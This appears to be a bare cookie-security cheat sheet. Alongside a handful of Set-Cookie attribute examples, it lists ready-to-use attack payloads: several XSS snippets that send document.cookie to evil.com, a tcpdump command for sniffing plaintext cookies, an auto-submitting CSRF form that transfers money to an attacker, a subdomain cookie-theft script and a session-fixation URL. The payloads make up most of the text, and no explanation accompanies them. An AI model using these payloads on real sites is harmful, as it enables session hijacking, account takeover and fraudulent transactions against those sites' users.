Cookie Security

curl -s -i https://TARGET/login -d "user=admin&pass=test" | grep -i "set-cookie"

Set-Cookie: session=abc123; HttpOnly

Set-Cookie: session=abc123; Secure

Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure

Set-Cookie: session=abc123; Domain=.target.com

Set-Cookie: admin=token; Path=/admin

Set-Cookie: session=abc123; Max-Age=3600
Set-Cookie: session=abc123; Expires=Thu, 01 Jan 2026 00:00:00 GMT

<script>
fetch('https://evil.com/steal?c=' + document.cookie);
</script>

<script>
new Image().src = 'https://evil.com/steal?c=' + document.cookie;
</script>

<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">

# MITM on network
# Cookie sent in plaintext over HTTP
tcpdump -i eth0 -A -s 0 'tcp port 80' | grep -i "cookie"

<form action="https://TARGET/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>

<!-- On blog.target.com -->
<script>
fetch('https://evil.com/steal?c=' + document.cookie);
// Receives cookies scoped to .target.com
</script>

https://TARGET/login?session=ATTACKER_KNOWN_SESSION

Set-Cookie: __Host-session=abc123; Secure; Path=/